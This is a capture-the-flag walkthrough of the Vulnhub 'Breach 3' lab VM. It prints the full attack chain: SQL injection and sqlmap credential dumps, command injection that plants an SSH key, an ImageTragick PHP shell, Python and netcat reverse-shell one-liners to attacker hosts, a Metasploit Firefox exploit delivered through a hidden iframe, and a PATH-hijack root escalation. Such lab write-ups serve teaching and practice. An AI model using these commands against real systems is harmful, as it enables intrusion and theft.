# Breach 3 Solution

Capture The Flag | Dec 13, 2016

In this post I’m going to show you how to solve the Breach 3 VM provided by [mrb3n](https://twitter.com/@mrb3n813).

You can find the VM on [this link](https://www.vulnhub.com/entry/breach-301,177/)

192.168.56.140 <== attacker

192.168.56.144 <== victim

I run a syn nmap scan against the victim, but I can’t get anything, so I run a UDP scan and I get port 161 open, so use SNMPWalk to see what’s going on. onesixtyone 192.168.56.144 returns that “public” community is available, so I run the following command to get information about the system:

snmpwalk -Os -c public -v 1 192.168.56.144

Once got the information, I see that there’s a port knock that I can use to open some ports:

knocker.sh 192.168.56.144 545 232 1876

Once run, I see that the port 22 is also open. From the banner of port 22 I can see other ports, so I do a port knock again:

knocker.sh 192.168.56.144 555 423 1800

I run nmap again, and I discover the port 8 open. This is a server.

When I open the page through the browser a Basic Authentication form is prompted, saying “milton”. From the “Breach 1” I have the password “thelaststraw”. I use it and it works, I’m in.

On the source code of the page I find the link in a note “<li>Burn the [place](https://mrh4sh.github.io/breach3/index.php) down once more</li>”

I follow the link and it prompts ad Admin Login Form.

I run dirbuster and I find out that there’s a blog in the folder

# dirb http://192.168.56.144:8/breach3/ -w -H "Authorization: Basic bWlsdG9uOnRoZWxhc3RzdHJhdw==" | tee dirb\_192.168.56.144\_breach3.txt

-----------------

DIRB v2.22

By The Dark Raver

-----------------

START\_TIME: Thu Dec 15 08:59:41 2016

URL\_BASE: http://192.168.56.144:8/breach3/

WORDLIST\_FILES: /usr/share/dirb/wordlists/common.txt

ADDED\_HEADERS:

--

Authorization: Basic bWlsdG9uOnRoZWxhc3RzdHJhdw==

--

OPTION: Not Stoping on warning messages

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.56.144:8/breach3/ ----

==> DIRECTORY: http://192.168.56.144:8/breach3/blog/

==> DIRECTORY: http://192.168.56.144:8/breach3/images/

+ http://192.168.56.144:8/breach3/index.php (CODE:200|SIZE:551)

---- Entering directory: http://192.168.56.144:8/breach3/blog/ ----

+ http://192.168.56.144:8/breach3/blog/index.html (CODE:200|SIZE:748)

---- Entering directory: http://192.168.56.144:8/breach3/images/ ----

-----------------

END\_TIME: Thu Dec 15 09:00:11 2016

DOWNLOADED: 13836 - FOUND: 2

Once I get to http://192.168.56.144:8/breach3/blog/ this is what I get:

The contact is a mail to “samir@breach.local”, so we know that there might be a user called “samir” on it

I try again with Dirb and I get some other links:

# dirb http://192.168.56.144:8/breach3/ -w -H "Authorization: Basic bWlsdG9uOnRoZWxhc3RzdHJhdw==" /usr/share/wordlists/dirb/big.txt -X .php,.bak,.html,.txt| tee dirb\_192.168.56.144\_breach3\_big.txt

-----------------

DIRB v2.22

By The Dark Raver

-----------------

START\_TIME: Thu Dec 15 09:08:29 2016

URL\_BASE: http://192.168.56.144:8/breach3/

WORDLIST\_FILES: /usr/share/dirb/wordlists/common.txt

ADDED\_HEADERS:

--

Authorization: Basic bWlsdG9uOnRoZWxhc3RzdHJhdw==

--

OPTION: Not Stoping on warning messages

EXTENSIONS\_LIST: (.php,.bak,.html,.txt) | (.php)(.bak)(.html)(.txt) [NUM = 4]

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.56.144:8/breach3/ ----

+ http://192.168.56.144:8/breach3/index.php (CODE:200|SIZE:551)

+ http://192.168.56.144:8/breach3/login.php (CODE:200|SIZE:0)

+ http://192.168.56.144:8/breach3/logout.php (CODE:302|SIZE:0)

+ http://192.168.56.144:8/breach3/session.php (CODE:302|SIZE:20)

-----------------

END\_TIME: Thu Dec 15 09:09:02 2016

DOWNLOADED: 18448 - FOUND: 4

I figure out that the login page is vulnerable to SQL Injection.

POST /breach3/login.php HTTP/1.1

Accept-language: en-US,en;q=0.5

Accept-encoding: gzip, deflate

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

User-agent: Mozilla/5.0 (X11; Linux x86\_64; rv:45.0) Gecko/20100101 Firefox/45.0

Host: 192.168.56.144:8

Referer: http://192.168.56.144:8/breach3/index.php

Cookie: PHPSESSID=0i8rhear1iqjjh50uvgpc0f9d5

Content-type: application/x-www-form-urlencoded

Authorization: Basic bWlsdG9uOnRoZWxhc3RzdHJhdw==

Content-length: 85

Connection: close

username=admin&password=%27+UNION+ALL+SELECT+NULL%2CNULL%2CNULL--+vjuQ&submit=+Login+' UNION ALL SELECT NULL,NULL,NULL-- asd

So, this redirects to http://192.168.56.144:8/breach3/thebobsadmin.php showing the following page:

This is one of the comments I find in the page:

<!-----To cut costs we can combine client infrastructures, what could go wrong? --->

Sweet, one of these websites must be vulnerable.

Got back to the SQL Injection, I use SQLMap trying multiple tamper scripts to get more information about the databases and the data. Through SQLMap I find that the web application suffers of “boolean-based blind” injection on the “password” parameter. I also get the list of databases and a dump.

# sqlmap -r admin\_request --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --level=5 --risk=3 --dbms=mysql --dbs

---

Parameter: #1\* ((custom) POST)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause

Payload: username=admin&password=(-8322' OR 3830=3830-- Yobl)&submit= Login

---

available databases [5]:

[\*] backups

[\*] information\_schema

[\*] mysql

[\*] performance\_schema

[\*] thebobs

/\* backups db tables and content \*/

info

--

[3 entries]

+----+-----------+------------------------------------------------------------------------------+------------------------------------------------------------------+

| id | username | password | comments |

+----+-----------+------------------------------------------------------------------------------+------------------------------------------------------------------+

| 1 | blumbergh | Vmxab2QxRXlTbGRqU0VaVlYwaENjVlJVUmt0aU1XeFhXWHBHVjFKVk5YVlZSbEYzVTNkdlBRbz0K | Trying out a new encryption method, not in production yet |

| 2 | milton | thelaststraw | Account disabled after he went off the rails. No need to encrypt |

| 3 | root | ? | :) |

+----+-----------+------------------------------------------------------------------------------+------------------------------------------------------------------+

/\* thebobs db tables \*/

login

That blumbergh password is in base64, and after decoding it 5 times I get this: C0ff33stainS

So, I go ahead and use dirb for the host http://192.168.56.144:8/breach3/thebobscloudhostingllc/, and I find a list of files in .php, and among these I find “livechat.php”. This file is a form, and when the “submit” button is pressed a “searcher” parameter appears. This parameter is vulnerable to Command Injection.

Since the outbound communication is filtered, I enumerate a bit more and I find out that the user “thebobs” has sudo power on the command “chmod” and has the .ssh folder with authorized\_keys file available.

So I create a ssh key and add it in the authorized\_keys file, and then I chmod the file to 600:

http://192.168.56.144:8/breach3/thebobscloudhostingllc/livechat.php?searcher= echo "" | base64 -d > /home/thebobs/.ssh/authorized\_keys

http://192.168.56.144:8/breach3/thebobscloudhostingllc/livechat.php?searcher=sudo%20-u%20thebobs%20chmod%20700%20/home/thebobs/.ssh/

I then ssh to the box and I get in:

# ssh -i /root/.ssh/id\_rsa thebobs@192.168.56.144

Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-45-generic x86\_64)

\* Documentation: https://help.ubuntu.com/

System information as of Wed Dec 14 14:50:07 EST 2016

System load: 0.7 Memory usage: 5% Processes: 198

Usage of /: 94.0% of 5.80GB Swap usage: 0% Users logged in: 0

=> / is using 94.0% of 5.80GB

Graph this data and manage this system at:

https://landscape.canonical.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.

Last login: Tue Nov 8 13:36:07 2016 from 192.168.110.129

Python 2.7.6 (default, Jun 22 2015, 17:58:13)

[GCC 4.8.2] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> ls -l

Traceback (most recent call last):

File "<stdin>", line 1, in <module>

NameError: name 'ls' is not defined

>>> import pty

>>> pty.spawn('/bin/bash')

thebobs@Initech-DMZ01:~$ ls -l

total 4

-rw------- 1 thebobs thebobs 28 Sep 29 10:10 flag1

thebobs@Initech-DMZ01:~$ cat flag1

breach3{the\_dmz\_is\_burning}

Once on the machine, I see that two instances of libvirt are running on the machine. As I see from /etc/libvirt/qemu/networks/default.xml, there’s a range of IPs for these machines. I check the network interfaces on the machine, and this is what I get:

thebobs@Initech-DMZ01:/etc/libvirt/qemu/networks$ ifconfig

eth0 Link encap:Ethernet HWaddr 00:0c:29:de:3b:43

inet addr:192.168.56.144 Bcast:192.168.56.255 Mask:255.255.255.0

inet6 addr: fe80::20c:29ff:fede:3b43/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:1138732 errors:0 dropped:0 overruns:0 frame:0

TX packets:565829 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:181435273 (181.4 MB) TX bytes:272952808 (272.9 MB)

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:4056 errors:0 dropped:0 overruns:0 frame:0

TX packets:4056 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1

RX bytes:329351 (329.3 KB) TX bytes:329351 (329.3 KB)

virbr0 Link encap:Ethernet HWaddr fe:54:00:4b:73:5f

inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:9838 errors:0 dropped:0 overruns:0 frame:0

TX packets:1541 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:677060 (677.0 KB) TX bytes:145140 (145.1 KB)

vnet0 Link encap:Ethernet HWaddr fe:54:00:ee:14:51

inet6 addr: fe80::fc54:ff:feee:1451/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:2680 errors:0 dropped:0 overruns:0 frame:0

TX packets:97444 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:576591 (576.5 KB) TX bytes:5388593 (5.3 MB)

vnet1 Link encap:Ethernet HWaddr fe:54:00:f7:3c:ef

inet6 addr: fe80::fc54:ff:fef7:3cef/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:12426 errors:0 dropped:0 overruns:0 frame:0

TX packets:97952 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:1195215 (1.1 MB) TX bytes:5522163 (5.5 MB)

vnet2 Link encap:Ethernet HWaddr fe:54:00:4b:73:5f

inet6 addr: fe80::fc54:ff:fe4b:735f/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:257 errors:0 dropped:93050 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:0 (0.0 B) TX bytes:15210 (15.2 KB)

Nmap is also installed on the machine, so the two machines are definitely on the range 192.168.122.2-254.

Before starting a nmap scan, I run a ping sweep to get the IPs of the running machines, and this is what I get:

thebobs@Initech-DMZ01:~$ for i in $(seq 2 254); do ping -c 1 192.168.122.$i -W 1| grep "bytes from "; done

64 bytes from 192.168.122.28: icmp\_seq=1 ttl=64 time=4.09 ms

64 bytes from 192.168.122.65: icmp\_seq=1 ttl=64 time=5.41 ms

The host 192.168.122.65 has 3 ports open. So I do port forwarding to connect to them:

Nmap 6.40 scan initiated Fri Dec 16 19:24:04 2016 as: nmap -sT -sV -sC -p- -Pn -n -vv -oA nmap\_tcp\_version\_scripts\_full\_targets -iL targets.txt

Nmap scan report for 192.168.122.28

Host is up (0.0033s latency).

All 65535 scanned ports on 192.168.122.28 are closed

Nmap scan report for 192.168.122.65

Host is up (0.011s latency).

Scanned at 2016-12-16 19:24:04 EST for 48s

Not shown: 65532 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)

|\_ssh-hostkey: ERROR: Script execution failed (use -d to debug)

80/tcp open http Apache httpd 2.4.10 ((Debian))

|\_http-methods: No Allow or Public header in OPTIONS response (status code 200)

|\_http-title: Site doesn't have a title (text/html; charset=UTF-8).

8800/tcp open http nginx 1.6.2

| http-auth:

| HTTP/1.1 401 Unauthorized

|\_ Basic realm=Restricted Area

|\_http-methods: No Allow or Public header in OPTIONS response (status code 401)

|\_http-title: 401 Authorization Required

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

# Nmap done at Fri Dec 16 19:24:52 2016 -- 2 IP addresses (2 hosts up) scanned in 48.68 seconds

$ ssh -L 8081:192.168.122.65:80 thebobs@192.168.56.144

I then connect to the localhost on port 8081 and this is what I find:

I visit the PDF Converter section, and I see that the application suffers of a vulnerability for the conversion: https://imagetragick.com/

At this point I upload a file with the following request to put a php shell:

imagetragick\_request

I then create a reverse shell with python to the machine where I’m pivoting on port 4444:

http://127.0.0.1:8081/intranet/b.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket%28socket.AF\_INET,socket.SOCK\_STREAM%29;s.connect%28%28%22192.168.122.1%22,4444%29%29;os.dup2%28s.fileno%28%29,0%29;%20os.dup2%28s.fileno%28%29,1%29;%20os.dup2%28s.fileno%28%29,2%29;p=subprocess.call%28[%22/bin/sh%22,%22-i%22]%29;%27

I wander around and I find the “/var/www/html2/support” folder, and in there I find the login details lazyadmin:test

I get into the /home/samir/.notes.txt file the string “infosecrockstar”, which sounds like a password. Indeed, I got into the port 8800 using the credentials “samir:infosecrockstar”

The support system is vulnerable to SQL Injection on the “comments.php” and “message” field.

After all, this won’t bring me anywhere, as the db doesn’t have any password relative to “peter”. The password is coming from the old breach machine for the user pgibbons damnitfeel$goodtobeagang$ta

So, I get flag2: breach3{what\_secrets\_is\_bill\_hiding?}

I see from the netstat that the IP 192.168.122.28 is connected to the machine through the port 8800. It must be a user connected to the URL. I play a bit with the website and I find out that it suffers also of XSS. I can see that the IP has a script that runs every few minutes, checking the /ticket.php URL.

thebobs@Initech-DMZ01:~$ nc -lnvp 9999

Listening on [0.0.0.0] (family 0, port 9999)

Connection from [192.168.122.28] port 9999 [tcp/\*] accepted (family 2, sport 43611)

GET / HTTP/1.1

Host: 192.168.122.1:9999

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:22.0) Gecko/20100101 Firefox/22.0

Accept: image/png,image/\*;q=0.8,\*/\*;q=0.5

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.122.65:8800/support/ticket.php

Connection: keep-alive

At this point is time to make some pivoting. I create a ssh key for peter and add it in the authorized\_keys of thebobs server. Then I create a local port via SSH to point to the port 8801 on my kali machine, where I setup metasploit with the exploit

- on 192.168.122.65

ssh -L 8801:192.168.56.145:8801 thebobs@192.168.122.1

I inject some code to see if the machine 192.168.122.28 can reach my Kali machine using telnet:

at this point I use the exploit “firefox\_tostring\_console\_injection” from metasploit for this version of Firefox and add an iframe in the page of support:

- Malicious HTML

<iframe src="http://192.168.56.145:8880/anthony" width="0" height="0">

- Metasploit module

Module options (exploit/multi/browser/firefox\_tostring\_console\_injection):

Name Current Setting Required Description

---- --------------- -------- -----------

CONTENT no Content to display inside the HTML <body>.

Retries true no Allow the browser to retry the module

SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

SRVPORT 8880 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH /anthony no The URI to use for this exploit (default is random)

Payload options (firefox/shell\_reverse\_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 192.168.56.145 yes The listen address

LPORT 8888 yes The listen port

Exploit target:

Id Name

-- ----

0 Universal (Javascript XPCOM Shell)

msf exploit(firefox\_tostring\_console\_injection) > run

[\*] Exploit running as background job.

[\*] Started reverse TCP handler on 192.168.56.145:8888

[\*] Using URL: http://0.0.0.0:8880/anthony

[\*] Local IP: http://127.0.0.1:8880/anthony

[\*] Server started.

[\*] 192.168.56.146 firefox\_tostring\_console\_injection - Gathering target information for 192.168.56.146

[\*] 192.168.56.146 firefox\_tostring\_console\_injection - Sending HTML response to 192.168.56.146

msf exploit(firefox\_tostring\_console\_injection) > jobs -l

Jobs

====

Id Name Payload Payload opts

-- ---- ------- ------------

0 Exploit: multi/browser/firefox\_tostring\_console\_injection firefox/shell\_reverse\_tcp tcp://192.168.56.145:8888

msf exploit(firefox\_tostring\_console\_injection) > sessions -l

Active sessions

===============

No active sessions.

[\*] Command shell session 1 opened (192.168.56.145:8888 -> 192.168.56.146:47919) at 2016-11-29 03:48:50 +0000

msf exploit(firefox\_tostring\_console\_injection) > sessions -i 1

[\*] Starting interaction with 1...

id

uid=1001(lazyadmin) gid=1001(lazyadmin) groups=1001(lazyadmin)

ifconfig

/bin/sh: 1: ifconfig: not found

/sbin/ifconfig

eth0 Link encap:Ethernet HWaddr 52:54:00:f7:3c:ef

inet addr:192.168.122.28 Bcast:192.168.122.255 Mask:255.255.255.0

inet6 addr: fe80::5054:ff:fef7:3cef/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:3428 errors:0 dropped:37 overruns:0 frame:0

TX packets:5494 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:1922411 (1.8 MiB) TX bytes:465282 (454.3 KiB)

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

uname -a

Linux bill-desktop 3.16.0-4-amd64 #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19) x86\_64 GNU/Linux

Since the shell is unstable, I create a meterpreter reverse shell to get a more stable shell.

I see that there’s the user blumbergh from the /etc/passwd file, and I’ve already found the password “C0ff33stainS”. Since the shell still unstable after I login as blumbergh, I create another reverse shell to my kali machine using the following command:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("192.168.56.145",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Once I got a more stable shell I try to see for a privilege escalation. The user blumbergh has in his home folder a file called “swingline” I debug the application and I find out that right before printing a message, a Netcat session is established on port 8889 and then “echo” is launched. Sweet. What I need to do is create a “echo” file with a root shell and export the /home/blumbergh into the first part of $PATH

blumbergh@bill-desktop:~$ export PATH=/home/blumbergh:$PATH

export PATH=/home/blumbergh:$PATH

blumbergh@bill-desktop:~$ echo $PATH

echo $PATH

/home/blumbergh:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

blumbergh@bill-desktop:~$ cat ./cat

cat ./cat

cat: ./cat: No such file or directory

blumbergh@bill-desktop:~$ cat ./ncat

cat ./ncat

/home/blumbergh/nc 192.168.56.145 9797 -c /bin/bash

blumbergh@bill-desktop:~$ chmod 777 nc

chmod 777 nc

blumbergh@bill-desktop:~$ ./swingline

./swingline

------------------------------------------------------

This is the last straw, I'm burning the building down.

------------------------------------------------------

---- Second Terminal

root@kali:~/Desktop/lab/breach3# nc -lnvp 9797

listening on [any] 9797 ...

connect to [192.168.56.145] from (UNKNOWN) [192.168.56.146] 40703

id

uid=0(root) gid=1000(blumbergh) groups=1000(blumbergh),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

There’s the file “flag3.sh.x” which is just a troll, so I use the find command to get the flag:

root@bill-desktop:/root# find / -name "flag3.txt" 2>/dev/null

find / -name "flag3.txt" 2>/dev/null

/root/Desktop/ / /flag3.txt

root@bill-desktop:/root# cat "/root/Desktop/ / /flag3.txt"

cat "/root/Desktop/ / /flag3.txt"

\_\_\_\_ \_ \_\_\_\_ \_\_\_\_\_\_\_ \_ \_\_\_\_\_\_ \_

| \_ \ | | |\_\_\_ \ |\_\_ \_\_| | | \_\_\_\_| | |

| |\_) |\_ \_\_ \_\_\_ \_\_ \_ \_\_\_| |\_\_ \_\_) | \_\_\_\_\_\_ | | | |\_\_ \_\_\_ | |\_\_ \_ \_\_ \_\_| |

| \_ <| '\_\_/ \_ \/ \_` |/ \_\_| '\_ \ |\_\_ < |\_\_\_\_\_\_| | | | '\_ \ / \_ \ | \_\_| | '\_ \ / \_` |

| |\_) | | | \_\_/ (\_| | (\_\_| | | | \_\_\_) | | | | | | | \_\_/ | |\_\_\_\_| | | | (\_| |

|\_\_\_\_/|\_| \\_\_\_|\\_\_,\_|\\_\_\_|\_| |\_| |\_\_\_\_/ |\_| |\_| |\_|\\_\_\_| |\_\_\_\_\_\_|\_| |\_|\\_\_,\_|

Congratulations on reaching the end! But is this the end? Or will there be more? Time will tell. For now I am going to sit on the beach and sip an umbrella drink with Milton.

If you completed the whole series, I hope you enjoyed it and learned some new things. My goal was to create some unique, progressively more difficult, challenges to showcase some real-world vulnerabilities in a fun/slightly frustrating manner.

Huge thanks goes to knightmare for his assistance along the way with all 3 of these VMs, especially the advice on emulation and disc space optimization as well as countless rounds of testing.

Also shout-out to g0blin, Rand0mByteZ, mr\_h4sh and vdbaan for testing this VM.

As always, thank you to g0tmi1k and the entire vulnhub crew for hosting these challenges and maintaining this amazing community.

Some words of advice: no one started as an expert, at some point you were stuck and someone helped you out. Don't be a dick. Pay it forward.

If you are new or trying to break in, learn how to ask questions. Show that you've done your research first and most people will be more than willing to help.

Until next time.

-mrb3n

EOF

Thank you to [mrb3n](https://twitter.com/@mrb3n813) for the VM and [Vulnhub](https://www.vulnhub.com) for hosting it. For any information or comment, please do not hesitate to leave a comment.